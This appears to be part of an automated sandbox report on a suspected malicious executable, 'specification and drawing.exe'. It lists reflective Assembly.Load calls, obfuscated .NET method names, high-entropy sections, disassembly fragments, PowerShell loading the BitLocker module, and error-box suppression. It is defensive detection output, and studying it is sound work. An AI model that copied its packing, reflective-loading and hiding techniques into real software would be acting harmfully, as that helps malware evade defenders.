Source: 0.2.specification and drawing.exe.3e96f18.4.raw.unpack, oR1TwPqxXE1yujic7I.cs	.Net Code: NZZ9TtHsjw System.Reflection.Assembly.Load(byte[])
Source: 0.2.specification and drawing.exe.7130000.6.raw.unpack, oR1TwPqxXE1yujic7I.cs	.Net Code: NZZ9TtHsjw System.Reflection.Assembly.Load(byte[])
Source: 0.2.specification and drawing.exe.3de24c8.2.raw.unpack, GtaAIbrHXObmMm8GPA.cs	.Net Code: vaH8QmOOp System.Reflection.Assembly.Load(byte[])
Source: 0.2.specification and drawing.exe.56c0000.5.raw.unpack, GtaAIbrHXObmMm8GPA.cs	.Net Code: vaH8QmOOp System.Reflection.Assembly.Load(byte[])

Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_00417475 push ebx; iretd	4_2_00417478
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_004034B0 push eax; ret	4_2_004034B2
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_004017D0 pushfd ; retf	4_2_004017D3
Source: C:\Users\user\Desktop\specification and drawing.exe	Code function: 4_2_010C09AD push ecx; mov dword ptr [esp], ecx	4_2_010C09B6
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 8_2_048E09AD push ecx; mov dword ptr [esp], ecx	8_2_048E09B6
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 8_2_00770880 push ebx; ret	8_2_00770881
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 8_2_0076F465 push 2BE5A8CCh; ret	8_2_0076F46A
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 8_2_0076BA6A push eax; ret	8_2_0076BA74
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 8_2_0076DBC0 push es; iretd	8_2_0076DBC1
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 8_2_00763FC2 push ebx; iretd	8_2_00763FC5
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 8_2_047B64CB push esp; retf	8_2_047B64EA
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 8_2_047B7516 push eax; iretd	8_2_047B7527
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 8_2_047B4627 push ds; retf	8_2_047B4756
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 8_2_047B46F6 push ds; retf	8_2_047B4756
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 8_2_047C5032 push eax; ret	8_2_047C5034
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 8_2_047B60E5 push ebx; iretd	8_2_047B60E6
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 8_2_047C51EC push eax; retf	8_2_047C56D5
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 8_2_047B63FC push esp; retf	8_2_047B64EA

Source: specification and drawing.exe

Static PE information: section name: .text entropy: 7.845321462695301

Source: 0.2.specification and drawing.exe.3e96f18.4.raw.unpack, bmS5gHjySCn9qPTuuq.cs	High entropy of concatenated method names: 'GERLH1ml1j', 'I4nLwIynUK', 'pu0LjB3PFw', 'DbeLrCQ19A', 'sU6LIusx8c', 'rZ2LmjnpJI', 'SBMLROpbo5', 'S2xLJ3X0Wr', 'L1nLfbiJZa', 'i0sL0B3JoC'
Source: 0.2.specification and drawing.exe.3e96f18.4.raw.unpack, vQGR4E4B608kaC2Y9v.cs	High entropy of concatenated method names: 'qmUCNYeQoy', 'n1JCdlhX02', 'DAZCZHEybD', 'L2ZCYy1SWk', 'rocCq5eMed', 'S9eZhS5UpG', 'jvVZ1Vfkqb', 'N5UZnI0sKR', 'XfeZP8O2LX', 'pfDZkHQ7Ep'
Source: 0.2.specification and drawing.exe.3e96f18.4.raw.unpack, ATyB1jl0Jv3AMs7G4w.cs	High entropy of concatenated method names: 'aq4DKJihLE', 'NmCD72dfla', 'iAaDxHaY7e', 'yIeDlaQj16', 'xHfDLOI5f9', 'ho3DWMs2aa', 'VoBD3nrxhO', 'YXEDgKCHwr', 'qQFDpbWxWy', 'o8fD6thdRm'
Source: 0.2.specification and drawing.exe.3e96f18.4.raw.unpack, XdtFk0djNwrtj6peMT.cs	High entropy of concatenated method names: 'Dispose', 'H2G5khnPj8', 'Gi9oIwEnk4', 'huZ6B5cKJe', 'Sb55X0w5HQ', 'Pkn5zojmBl', 'ProcessDialogKey', 'KWZoaRsHvG', 'toMo5IkL1p', 'qN9ooMKQlu'
Source: 0.2.specification and drawing.exe.3e96f18.4.raw.unpack, hRsHvGkvoMIkL1pgN9.cs	High entropy of concatenated method names: 'z7Dp4gjald', 'NFipIAPn4t', 'XJYpmQa7X2', 'v0xpRZeA8O', 'vySpJ13pkT', 'o5qpfqwc8q', 'Pccp0ZVQ6q', 'RqnpUn2SmT', 'fWwpA2cXVW', 'BlbpHW9lgG'
Source: 0.2.specification and drawing.exe.3e96f18.4.raw.unpack, U1IMZd59nhMXyFBmm5s.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'meSbpHLE6v', 'neAb6VuS9V', 'u55bvqiB1d', 'YVQbbGdh5A', 'ceabOVADPo', 'QqZbsfYjDT', 'RSYbQaf9F8'
Source: 0.2.specification and drawing.exe.3e96f18.4.raw.unpack, YRD1af0CLJY5WIdLkY.cs	High entropy of concatenated method names: 'VbyYFwWHnD', 'gWVYDUnVaG', 'rtSYCaFDLM', 'QlxCXfKyIm', 'MG4CzT8eiW', 'avVYaApL2B', 'c0NY5YUJ10', 'xtIYoHn24G', 'ccNYVAT8nR', 'HxIY9d5wUm'
Source: 0.2.specification and drawing.exe.3e96f18.4.raw.unpack, Hmji8KtRaF3ssi6vZE.cs	High entropy of concatenated method names: 'x2eExHM3sc', 'oQfElrlb89', 'mnVE4Eb4lh', 'hMOEIHfffF', 'Ys5ERKqEDl', 'IfjEJjwnpE', 'xCcE01ldXB', 'S5CEU05hmx', 'Fy0EHteoMQ', 'Aw8EMLMNSL'
Source: 0.2.specification and drawing.exe.3e96f18.4.raw.unpack, OS65QEzPl4p5FPyivR.cs	High entropy of concatenated method names: 'ylS67oCquD', 'ErP6xH0lvi', 'J1U6ld1QPY', 'J9Q64DvkkE', 'Ukl6IZiy6m', 'AdI6RlnAYP', 'VkO6JAVgYq', 'yoC6QpnDYP', 'Jis68oyPwL', 'NKY6GOVGWf'
Source: 0.2.specification and drawing.exe.3e96f18.4.raw.unpack, RP00fPyhVIxHwDiKEf.cs	High entropy of concatenated method names: 'bqoZiSl0KL', 'PlEZB0Je5s', 'bU8Dmjsc4a', 'IdmDR4JSCY', 'be8DJau3N3', 'lpKDf4sxTa', 'tvTD0m4HEd', 'GTiDUHn9I2', 'gTiDAcZD7d', 'IW0DHhQNGF'
Source: 0.2.specification and drawing.exe.3e96f18.4.raw.unpack, MpEXthAlE2pr1QH9Ga.cs	High entropy of concatenated method names: 'nd6Y8wYt2f', 'KErYGIqqUt', 'acMYTxN8E2', 'Xx5YK5H8eU', 'np2YidRmpT', 'fiZY7d5n1R', 'MZAYBmLEnZ', 'T7mYxdtY3K', 'zLHYlr3Qn5', 'CJjYyP1XtV'
Source: 0.2.specification and drawing.exe.3e96f18.4.raw.unpack, ccvkXF55JJVAkRbIZiq.cs	High entropy of concatenated method names: 'HFF6XawHkT', 'trf6zSdP2x', 'gnBvaAwAGE', 'QH3v5dmE5G', 'IFIvoONjjC', 'ufcvVF1Xpm', 'Pdmv9HuSsH', 'w87vN5s7bg', 'f8LvFojpea', 'SwHvdDxAru'
Source: 0.2.specification and drawing.exe.3e96f18.4.raw.unpack, qWpum4n9pm2GhnPj8c.cs	High entropy of concatenated method names: 'hydpLNt88i', 'cHAp3I3ZHW', 'pRKpp6CFqp', 'NDOpvMxjS4', 'QwapOlmZ0F', 'qr9pQpfySQ', 'Dispose', 'DMpgFrg5nE', 'Qisgdk2ryZ', 'SrfgDTMC4A'
Source: 0.2.specification and drawing.exe.3e96f18.4.raw.unpack, yoeWtF99YePcuYKqj4.cs	High entropy of concatenated method names: 'T2Z5YODBbA', 'K335qqWbhE', 'R0J5ev3AMs', 'CG45uwrP00', 'hiK5LEfOQG', 'I4E5WB608k', 'XogGI8xJbj1kVi8dk8', 'KSBBeyNbQ0SqNBxtls', 'mDl55VsG3V', 'HbK5VbuaAD'
Source: 0.2.specification and drawing.exe.3e96f18.4.raw.unpack, QMQyG62SJ3EQdai9md.cs	High entropy of concatenated method names: 'AFG3ePJ3C4', 'DVy3ucCkOv', 'ToString', 'x0v3FikcQK', 'X063do76g6', 'zPA3DBDWw5', 'WnL3ZjMbIH', 'DDm3CyK8Q2', 'lGp3Yx77wm', 'Ljn3q8SC6D'
Source: 0.2.specification and drawing.exe.3e96f18.4.raw.unpack, u2s8fGoGVecARSbZsj.cs	High entropy of concatenated method names: 'mRLTBHbKb', 'ODfK7UIt0', 'N3P7rpdIr', 'yk6B7WEfm', 'Disl9HoWD', 'OjGyRE7Pa', 'Y9AyqtCBKejQJWKG3V', 'XJ22hUeRG09Gb2WrTP', 'RLJgpNOH3', 'dBi6IJTko'
Source: 0.2.specification and drawing.exe.3e96f18.4.raw.unpack, HQmhat5aSmtlWKU2EVV.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'mAX6MgTXbZ', 'dPY6wlc8V0', 'ytc6tZcUEE', 'DMq6jFexA5', 'M7y6rImW7t', 'HxP6csf9SD', 'eQO62naTA1'
Source: 0.2.specification and drawing.exe.3e96f18.4.raw.unpack, oR1TwPqxXE1yujic7I.cs	High entropy of concatenated method names: 'mWcVNsoQea', 'AtOVFJapeC', 'kyjVd8j4vt', 'ePOVDpwy10', 'hM6VZigXVK', 'quGVCJD9HC', 'M2rVYDPdkp', 'nxVVqgdXD0', 'VdYVSspXLc', 'JCLVeLlVOc'
Source: 0.2.specification and drawing.exe.3e96f18.4.raw.unpack, hODBbAxf33qWbhEBEP.cs	High entropy of concatenated method names: 'E41dj9vSwC', 'PfldrZKZQB', 'kAhdc2ginv', 'DrRd24JPU1', 'OALdhx0quV', 'm8Xd1a9yib', 'EogdnBwx4x', 'rJmdPI1lkR', 'UYKdk9pU5T', 'JoedXKAamu'
Source: 0.2.specification and drawing.exe.3e96f18.4.raw.unpack, alei22IFpaJWn2wvIn.cs	High entropy of concatenated method names: 'c4p5uxBZe34V4BxrbUd', 'RmBsuEB8u8hQ99wgaJ6', 'UFiCgMdr0e', 'jIXCpg13ao', 'mClC6JmPDO', 'zymLpRBcRHhbcYXewoa', 'TQBNM7BD7yWk7DeEKN7'
Source: 0.2.specification and drawing.exe.3e96f18.4.raw.unpack, Db4eOo1ZYyucxcLYQs.cs	High entropy of concatenated method names: 'UvL3Pi2qFT', 'm173XbTxrc', 'Px8ga1db6l', 'nmKg58JUE9', 'qBV3MWqCLV', 'OMT3wiprDT', 'YsI3tFODME', 'sdS3jtm1Eu', 'Wha3rouaof', 'DBZ3cscAQ6'
Source: 0.2.specification and drawing.exe.3e96f18.4.raw.unpack, OKQluEXLpruCwLCefN.cs	High entropy of concatenated method names: 'PKw6DuIXc8', 'iQS6Ze4W9e', 'zrW6CVoUsf', 'AEA6YlrLEZ', 'Mwg6p56lw5', 'kOo6q4mcRJ', 'Next', 'Next', 'Next', 'NextBytes'
Source: 0.2.specification and drawing.exe.7130000.6.raw.unpack, bmS5gHjySCn9qPTuuq.cs	High entropy of concatenated method names: 'GERLH1ml1j', 'I4nLwIynUK', 'pu0LjB3PFw', 'DbeLrCQ19A', 'sU6LIusx8c', 'rZ2LmjnpJI', 'SBMLROpbo5', 'S2xLJ3X0Wr', 'L1nLfbiJZa', 'i0sL0B3JoC'
Source: 0.2.specification and drawing.exe.7130000.6.raw.unpack, vQGR4E4B608kaC2Y9v.cs	High entropy of concatenated method names: 'qmUCNYeQoy', 'n1JCdlhX02', 'DAZCZHEybD', 'L2ZCYy1SWk', 'rocCq5eMed', 'S9eZhS5UpG', 'jvVZ1Vfkqb', 'N5UZnI0sKR', 'XfeZP8O2LX', 'pfDZkHQ7Ep'
Source: 0.2.specification and drawing.exe.7130000.6.raw.unpack, ATyB1jl0Jv3AMs7G4w.cs	High entropy of concatenated method names: 'aq4DKJihLE', 'NmCD72dfla', 'iAaDxHaY7e', 'yIeDlaQj16', 'xHfDLOI5f9', 'ho3DWMs2aa', 'VoBD3nrxhO', 'YXEDgKCHwr', 'qQFDpbWxWy', 'o8fD6thdRm'
Source: 0.2.specification and drawing.exe.7130000.6.raw.unpack, XdtFk0djNwrtj6peMT.cs	High entropy of concatenated method names: 'Dispose', 'H2G5khnPj8', 'Gi9oIwEnk4', 'huZ6B5cKJe', 'Sb55X0w5HQ', 'Pkn5zojmBl', 'ProcessDialogKey', 'KWZoaRsHvG', 'toMo5IkL1p', 'qN9ooMKQlu'
Source: 0.2.specification and drawing.exe.7130000.6.raw.unpack, hRsHvGkvoMIkL1pgN9.cs	High entropy of concatenated method names: 'z7Dp4gjald', 'NFipIAPn4t', 'XJYpmQa7X2', 'v0xpRZeA8O', 'vySpJ13pkT', 'o5qpfqwc8q', 'Pccp0ZVQ6q', 'RqnpUn2SmT', 'fWwpA2cXVW', 'BlbpHW9lgG'
Source: 0.2.specification and drawing.exe.7130000.6.raw.unpack, U1IMZd59nhMXyFBmm5s.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'meSbpHLE6v', 'neAb6VuS9V', 'u55bvqiB1d', 'YVQbbGdh5A', 'ceabOVADPo', 'QqZbsfYjDT', 'RSYbQaf9F8'
Source: 0.2.specification and drawing.exe.7130000.6.raw.unpack, YRD1af0CLJY5WIdLkY.cs	High entropy of concatenated method names: 'VbyYFwWHnD', 'gWVYDUnVaG', 'rtSYCaFDLM', 'QlxCXfKyIm', 'MG4CzT8eiW', 'avVYaApL2B', 'c0NY5YUJ10', 'xtIYoHn24G', 'ccNYVAT8nR', 'HxIY9d5wUm'
Source: 0.2.specification and drawing.exe.7130000.6.raw.unpack, Hmji8KtRaF3ssi6vZE.cs	High entropy of concatenated method names: 'x2eExHM3sc', 'oQfElrlb89', 'mnVE4Eb4lh', 'hMOEIHfffF', 'Ys5ERKqEDl', 'IfjEJjwnpE', 'xCcE01ldXB', 'S5CEU05hmx', 'Fy0EHteoMQ', 'Aw8EMLMNSL'
Source: 0.2.specification and drawing.exe.7130000.6.raw.unpack, OS65QEzPl4p5FPyivR.cs	High entropy of concatenated method names: 'ylS67oCquD', 'ErP6xH0lvi', 'J1U6ld1QPY', 'J9Q64DvkkE', 'Ukl6IZiy6m', 'AdI6RlnAYP', 'VkO6JAVgYq', 'yoC6QpnDYP', 'Jis68oyPwL', 'NKY6GOVGWf'
Source: 0.2.specification and drawing.exe.7130000.6.raw.unpack, RP00fPyhVIxHwDiKEf.cs	High entropy of concatenated method names: 'bqoZiSl0KL', 'PlEZB0Je5s', 'bU8Dmjsc4a', 'IdmDR4JSCY', 'be8DJau3N3', 'lpKDf4sxTa', 'tvTD0m4HEd', 'GTiDUHn9I2', 'gTiDAcZD7d', 'IW0DHhQNGF'
Source: 0.2.specification and drawing.exe.7130000.6.raw.unpack, MpEXthAlE2pr1QH9Ga.cs	High entropy of concatenated method names: 'nd6Y8wYt2f', 'KErYGIqqUt', 'acMYTxN8E2', 'Xx5YK5H8eU', 'np2YidRmpT', 'fiZY7d5n1R', 'MZAYBmLEnZ', 'T7mYxdtY3K', 'zLHYlr3Qn5', 'CJjYyP1XtV'
Source: 0.2.specification and drawing.exe.7130000.6.raw.unpack, ccvkXF55JJVAkRbIZiq.cs	High entropy of concatenated method names: 'HFF6XawHkT', 'trf6zSdP2x', 'gnBvaAwAGE', 'QH3v5dmE5G', 'IFIvoONjjC', 'ufcvVF1Xpm', 'Pdmv9HuSsH', 'w87vN5s7bg', 'f8LvFojpea', 'SwHvdDxAru'
Source: 0.2.specification and drawing.exe.7130000.6.raw.unpack, qWpum4n9pm2GhnPj8c.cs	High entropy of concatenated method names: 'hydpLNt88i', 'cHAp3I3ZHW', 'pRKpp6CFqp', 'NDOpvMxjS4', 'QwapOlmZ0F', 'qr9pQpfySQ', 'Dispose', 'DMpgFrg5nE', 'Qisgdk2ryZ', 'SrfgDTMC4A'
Source: 0.2.specification and drawing.exe.7130000.6.raw.unpack, yoeWtF99YePcuYKqj4.cs	High entropy of concatenated method names: 'T2Z5YODBbA', 'K335qqWbhE', 'R0J5ev3AMs', 'CG45uwrP00', 'hiK5LEfOQG', 'I4E5WB608k', 'XogGI8xJbj1kVi8dk8', 'KSBBeyNbQ0SqNBxtls', 'mDl55VsG3V', 'HbK5VbuaAD'
Source: 0.2.specification and drawing.exe.7130000.6.raw.unpack, QMQyG62SJ3EQdai9md.cs	High entropy of concatenated method names: 'AFG3ePJ3C4', 'DVy3ucCkOv', 'ToString', 'x0v3FikcQK', 'X063do76g6', 'zPA3DBDWw5', 'WnL3ZjMbIH', 'DDm3CyK8Q2', 'lGp3Yx77wm', 'Ljn3q8SC6D'
Source: 0.2.specification and drawing.exe.7130000.6.raw.unpack, u2s8fGoGVecARSbZsj.cs	High entropy of concatenated method names: 'mRLTBHbKb', 'ODfK7UIt0', 'N3P7rpdIr', 'yk6B7WEfm', 'Disl9HoWD', 'OjGyRE7Pa', 'Y9AyqtCBKejQJWKG3V', 'XJ22hUeRG09Gb2WrTP', 'RLJgpNOH3', 'dBi6IJTko'
Source: 0.2.specification and drawing.exe.7130000.6.raw.unpack, HQmhat5aSmtlWKU2EVV.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'mAX6MgTXbZ', 'dPY6wlc8V0', 'ytc6tZcUEE', 'DMq6jFexA5', 'M7y6rImW7t', 'HxP6csf9SD', 'eQO62naTA1'
Source: 0.2.specification and drawing.exe.7130000.6.raw.unpack, oR1TwPqxXE1yujic7I.cs	High entropy of concatenated method names: 'mWcVNsoQea', 'AtOVFJapeC', 'kyjVd8j4vt', 'ePOVDpwy10', 'hM6VZigXVK', 'quGVCJD9HC', 'M2rVYDPdkp', 'nxVVqgdXD0', 'VdYVSspXLc', 'JCLVeLlVOc'
Source: 0.2.specification and drawing.exe.7130000.6.raw.unpack, hODBbAxf33qWbhEBEP.cs	High entropy of concatenated method names: 'E41dj9vSwC', 'PfldrZKZQB', 'kAhdc2ginv', 'DrRd24JPU1', 'OALdhx0quV', 'm8Xd1a9yib', 'EogdnBwx4x', 'rJmdPI1lkR', 'UYKdk9pU5T', 'JoedXKAamu'
Source: 0.2.specification and drawing.exe.7130000.6.raw.unpack, alei22IFpaJWn2wvIn.cs	High entropy of concatenated method names: 'c4p5uxBZe34V4BxrbUd', 'RmBsuEB8u8hQ99wgaJ6', 'UFiCgMdr0e', 'jIXCpg13ao', 'mClC6JmPDO', 'zymLpRBcRHhbcYXewoa', 'TQBNM7BD7yWk7DeEKN7'
Source: 0.2.specification and drawing.exe.7130000.6.raw.unpack, Db4eOo1ZYyucxcLYQs.cs	High entropy of concatenated method names: 'UvL3Pi2qFT', 'm173XbTxrc', 'Px8ga1db6l', 'nmKg58JUE9', 'qBV3MWqCLV', 'OMT3wiprDT', 'YsI3tFODME', 'sdS3jtm1Eu', 'Wha3rouaof', 'DBZ3cscAQ6'
Source: 0.2.specification and drawing.exe.7130000.6.raw.unpack, OKQluEXLpruCwLCefN.cs	High entropy of concatenated method names: 'PKw6DuIXc8', 'iQS6Ze4W9e', 'zrW6CVoUsf', 'AEA6YlrLEZ', 'Mwg6p56lw5', 'kOo6q4mcRJ', 'Next', 'Next', 'Next', 'NextBytes'
Source: 0.2.specification and drawing.exe.3de24c8.2.raw.unpack, FZaOUuOPvnEAfIAr0M.cs	High entropy of concatenated method names: 'lEA0fIAr0', 'tZCA8AZk9', 'gXO9bmMm8', 'DGw7NTeNK', 'Om2dkTqQy', 'EZYgaiyMO', 'Dispose', 'FZaOOUuPv', 'pv8tyvFJFxYXZkDera', 'y16QeXgcC0F7yngarN'
Source: 0.2.specification and drawing.exe.3de24c8.2.raw.unpack, GtaAIbrHXObmMm8GPA.cs	High entropy of concatenated method names: 't43wlqHDE', 'b331V9lSR', 'y0lQR8D9G', 'PPrmXmJxA', 'CF9acgM2i', 'eykiYV7wh', 'vSMVwpZMk', 'kxKJsuLoh', 'Ny8e5Nb61', 'qdOCMMDun'
Source: 0.2.specification and drawing.exe.3de24c8.2.raw.unpack, kAOj1Y7pfP90kycNNw.cs	High entropy of concatenated method names: 'lb2Ia3XrDtd392xi2Tb', 'XJIblTXQXnFqByJBCJm', 'uLEr9lUTy0', 'Y8R45UX8CExDEFrtuqs', 'ye0NJSX7mZWAZIVVpiG', 'WY1PxJXMKygj5Preg16', 'ELG2kXXJWTZduCJNQBl', 'RgtTUJcyZL', 'wUUrNltvEH', 'CJErdEKrT9'
Source: 0.2.specification and drawing.exe.56c0000.5.raw.unpack, FZaOUuOPvnEAfIAr0M.cs	High entropy of concatenated method names: 'lEA0fIAr0', 'tZCA8AZk9', 'gXO9bmMm8', 'DGw7NTeNK', 'Om2dkTqQy', 'EZYgaiyMO', 'Dispose', 'FZaOOUuPv', 'pv8tyvFJFxYXZkDera', 'y16QeXgcC0F7yngarN'
Source: 0.2.specification and drawing.exe.56c0000.5.raw.unpack, GtaAIbrHXObmMm8GPA.cs	High entropy of concatenated method names: 't43wlqHDE', 'b331V9lSR', 'y0lQR8D9G', 'PPrmXmJxA', 'CF9acgM2i', 'eykiYV7wh', 'vSMVwpZMk', 'kxKJsuLoh', 'Ny8e5Nb61', 'qdOCMMDun'
Source: 0.2.specification and drawing.exe.56c0000.5.raw.unpack, kAOj1Y7pfP90kycNNw.cs	High entropy of concatenated method names: 'lb2Ia3XrDtd392xi2Tb', 'XJIblTXQXnFqByJBCJm', 'uLEr9lUTy0', 'Y8R45UX8CExDEFrtuqs', 'ye0NJSX7mZWAZIVVpiG', 'WY1PxJXMKygj5Preg16', 'ELG2kXXJWTZduCJNQBl', 'RgtTUJcyZL', 'wUUrNltvEH', 'CJErdEKrT9'

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Source: C:\Users\user\Desktop\specification and drawing.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\specification and drawing.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\specification and drawing.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\specification and drawing.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\specification and drawing.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\specification and drawing.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\specification and drawing.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\specification and drawing.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\specification and drawing.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\specification and drawing.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\specification and drawing.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\specification and drawing.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\specification and drawing.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\specification and drawing.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\specification and drawing.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\specification and drawing.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\specification and drawing.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\specification and drawing.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\specification and drawing.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\specification and drawing.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\specification and drawing.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\specification and drawing.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\specification and drawing.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\specification and drawing.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\specification and drawing.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\specification and drawing.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\specification and drawing.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\specification and drawing.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\specification and drawing.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\specification and drawing.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\specification and drawing.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\specification and drawing.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\specification and drawing.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\specification and drawing.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\specification and drawing.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\specification and drawing.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\specification and drawing.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\specification and drawing.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\specification and drawing.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\specification and drawing.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\specification and drawing.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
